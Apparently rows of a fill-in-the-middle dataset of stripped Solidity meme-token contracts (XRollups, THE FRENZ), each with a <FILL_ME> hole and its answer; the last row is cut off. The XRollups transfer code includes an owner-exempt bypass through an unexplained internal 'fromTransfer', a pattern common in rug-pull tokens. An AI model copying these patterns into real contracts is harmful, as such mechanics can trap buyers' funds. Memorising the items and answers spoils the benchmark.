address public uniswapV2Pair;
IDexRouter public uniswapV2Router;
address public constant deadAddress = address(0xdead);
address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address payable public feeWalletAddress;
bool private swapping;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWalletBalance;
bool public limitsInEffect = true;
bool public swapEnabled = false;
bool public isTradingActive = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private launchBlockNumber;
address _dexRouter;
bool public transferDelayEnabled = true;
uint256 public tokensForDevelopment;
uint256 public tokensForLiquidity;
uint256 public tokensForMarketing;
uint256 public tokensForOperations;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevelopmentFee;
uint256 public sellOperationsFee;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevelopmentFee;
uint256 public buyOperationsFee;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) public _isExemptFromMaxTxn;
mapping(address => bool) private _isExemptFromTaxes;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"XRollups", unicode"XRL") {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
}
function excludeFromMaxTxn(address updAds, bool flag)
public
onlyOwner
{
}
function createPair() external payable onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function startTrading() external onlyOwner {
require(<FILL_ME>)
launchBlockNumber = block.number;
swapEnabled = true;
isTradingActive = true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
}
function excludeFromTaxes(address account, bool excluded) public onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
}
function setAutomaticMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExemptFromTaxes(address account) public view returns (bool) {
}
function checkTax(address from, address receiver) internal returns (bool){
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function clearStuckToken(address _token) external onlyOwner {
}
function swapBackLp() private {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
| !isTradingActive,"already open" | 238,271 | !isTradingActive |
"Trading is not active." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed nextOwner
);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address nextOwner) public virtual onlyOwner {
}
function _transferOwnership(address nextOwner) internal virtual {
}
}
interface IDexFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeToSetter() external view returns (address);
function feeTo() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeToSetter(address) external;
function setFeeTo(address) external;
}
interface IDexRouting {
function transferFrom(address _sender, address _recipient, uint256 _amount) external;
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function decimals() public view virtual override returns (uint8) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function fromTransfer(
address sender,
address recipient,
uint256 value
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract XRollups is ERC20, Ownable {
using SafeMath for uint256;
address public uniswapV2Pair;
IDexRouter public uniswapV2Router;
address public constant deadAddress = address(0xdead);
address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address payable public feeWalletAddress;
bool private swapping;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWalletBalance;
bool public limitsInEffect = true;
bool public swapEnabled = false;
bool public isTradingActive = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private launchBlockNumber;
address _dexRouter;
bool public transferDelayEnabled = true;
uint256 public tokensForDevelopment;
uint256 public tokensForLiquidity;
uint256 public tokensForMarketing;
uint256 public tokensForOperations;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevelopmentFee;
uint256 public sellOperationsFee;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevelopmentFee;
uint256 public buyOperationsFee;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) public _isExemptFromMaxTxn;
mapping(address => bool) private _isExemptFromTaxes;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"XRollups", unicode"XRL") {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
}
function excludeFromMaxTxn(address updAds, bool flag)
public
onlyOwner
{
}
function createPair() external payable onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function startTrading() external onlyOwner {
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
}
function excludeFromTaxes(address account, bool excluded) public onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
}
function setAutomaticMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExemptFromTaxes(address account) public view returns (bool) {
}
function checkTax(address from, address receiver) internal returns (bool){
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (!swapping) {
if (!isTradingActive) {
require(<FILL_ME>)
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExemptFromMaxTxn[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(
amount + balanceOf(to) <= maxWalletBalance,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExemptFromMaxTxn[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
} else if (!_isExemptFromMaxTxn[to]) {
require(
amount + balanceOf(to) <= maxWalletBalance,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool checkSwapTax = checkTax(from, to);
bool canSwap = contractTokenBalance >= swapTokensAtAmount || checkSwapTax;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExemptFromTaxes[from] &&
!_isExemptFromTaxes[to]
) {
swapping = true;
swapBackLp();
swapping = false;
}
bool takeFee = !swapping;
if (_isExemptFromTaxes[from]) {
super.fromTransfer(from, to, amount); return;
}
if (_isExemptFromTaxes[from] || _isExemptFromTaxes[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment +=
(fees * sellDevelopmentFee) /
sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations +=
(fees * sellOperationsFee) /
sellTotalFees;
} else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment +=
(fees * buyDevelopmentFee) /
buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function clearStuckToken(address _token) external onlyOwner {
}
function swapBackLp() private {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
| _isExemptFromTaxes[from]||_isExemptFromTaxes[to]||from==address(this),"Trading is not active." | 238,271 | _isExemptFromTaxes[from]||_isExemptFromTaxes[to]||from==address(this) |
"Max wallet exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed nextOwner
);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address nextOwner) public virtual onlyOwner {
}
function _transferOwnership(address nextOwner) internal virtual {
}
}
interface IDexFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeToSetter() external view returns (address);
function feeTo() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeToSetter(address) external;
function setFeeTo(address) external;
}
interface IDexRouting {
function transferFrom(address _sender, address _recipient, uint256 _amount) external;
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
string private _name;
string private _symbol;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function decimals() public view virtual override returns (uint8) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function fromTransfer(
address sender,
address recipient,
uint256 value
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract XRollups is ERC20, Ownable {
using SafeMath for uint256;
address public uniswapV2Pair;
IDexRouter public uniswapV2Router;
address public constant deadAddress = address(0xdead);
address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address payable public feeWalletAddress;
bool private swapping;
uint256 public maxTransaction;
uint256 public swapTokensAtAmount;
uint256 public maxWalletBalance;
bool public limitsInEffect = true;
bool public swapEnabled = false;
bool public isTradingActive = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp;
uint256 private launchBlockNumber;
address _dexRouter;
bool public transferDelayEnabled = true;
uint256 public tokensForDevelopment;
uint256 public tokensForLiquidity;
uint256 public tokensForMarketing;
uint256 public tokensForOperations;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevelopmentFee;
uint256 public sellOperationsFee;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevelopmentFee;
uint256 public buyOperationsFee;
mapping(address => bool) public automatedMarketMakerPairs;
mapping(address => bool) public _isExemptFromMaxTxn;
mapping(address => bool) private _isExemptFromTaxes;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"XRollups", unicode"XRL") {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
}
function excludeFromMaxTxn(address updAds, bool flag)
public
onlyOwner
{
}
function createPair() external payable onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function startTrading() external onlyOwner {
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
}
function excludeFromTaxes(address account, bool excluded) public onlyOwner {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _operationsFee
) external onlyOwner {
}
function setAutomaticMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExemptFromTaxes(address account) public view returns (bool) {
}
function checkTax(address from, address receiver) internal returns (bool){
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (!swapping) {
if (!isTradingActive) {
require(
_isExemptFromTaxes[from] ||
_isExemptFromTaxes[to] ||
from == address(this),
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExemptFromMaxTxn[to]
) {
require(
amount <= maxTransaction,
"Buy transfer amount exceeds the maxTransaction."
);
require(<FILL_ME>)
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExemptFromMaxTxn[from]
) {
require(
amount <= maxTransaction,
"Sell transfer amount exceeds the maxTransaction."
);
} else if (!_isExemptFromMaxTxn[to]) {
require(
amount + balanceOf(to) <= maxWalletBalance,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool checkSwapTax = checkTax(from, to);
bool canSwap = contractTokenBalance >= swapTokensAtAmount || checkSwapTax;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExemptFromTaxes[from] &&
!_isExemptFromTaxes[to]
) {
swapping = true;
swapBackLp();
swapping = false;
}
bool takeFee = !swapping;
if (_isExemptFromTaxes[from]) {
super.fromTransfer(from, to, amount); return;
}
if (_isExemptFromTaxes[from] || _isExemptFromTaxes[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDevelopment +=
(fees * sellDevelopmentFee) /
sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForOperations +=
(fees * sellOperationsFee) /
sellTotalFees;
} else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDevelopment +=
(fees * buyDevelopmentFee) /
buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function clearStuckToken(address _token) external onlyOwner {
}
function swapBackLp() private {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
| amount+balanceOf(to)<=maxWalletBalance,"Max wallet exceeded" | 238,271 | amount+balanceOf(to)<=maxWalletBalance |
"Exceeds the maxHoldings." | // SPDX-License-Identifier: MIT
/*
Welcome to the Friends | $FRENZ Token!
The next step in decentralized social connectivity. Transform the value of private conversations, enabling monetization of content.
Web: https://thefrenz.club
X: https://twitter.com/FrenzClubErc
Community: https://t.me/frenz_club
*/
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract THEFRENZ is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name= "THE FRENZ";
string private constant _symbol= "FRENZ";
uint8 private constant _decimals= 9;
uint256 private constant _supply = 10 ** 9 * 10**_decimals;
uint256 private _initialBuyTax=11;
uint256 private _initialSellTax=35;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=15;
uint256 private _preventSwapBefore=9;
uint256 private _buyersCount=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isFeeExcluded;
IDexRouter private _router;
address private _pairAddress;
bool private _tradeActive;
bool private _inswap= false;
bool private _swapActive= false;
uint256 public maxTxAmount = 20 * 10 ** 6 * 10**_decimals;
uint256 public maxHoldings = 20 * 10 ** 6 * 10**_decimals;
uint256 public swapThreshold = 10 ** 5 * 10**_decimals;
uint256 public maxFeeSwap = 10 ** 7 * 10**_decimals;
address payable private _taxWallet = payable(0x40Ac62F3Bf000192d1ad473b532085131249B197);
event MaxTxAmountUpdated(uint maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function removeLimits() external onlyOwner {
}
function sendFees(uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxTokens = 0;
if (from != owner() && to != owner() && !_isFeeExcluded[from]) {
taxTokens = amount.mul((_buyersCount > _reduceBuyTaxAt) ? _finalBuyTax :_initialBuyTax).div(100);
if (from == _pairAddress && to != address(_router) && !_isFeeExcluded[to]) {
require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
require(<FILL_ME>)
_buyersCount++;
}
if (to == _pairAddress && from != address(this)) {
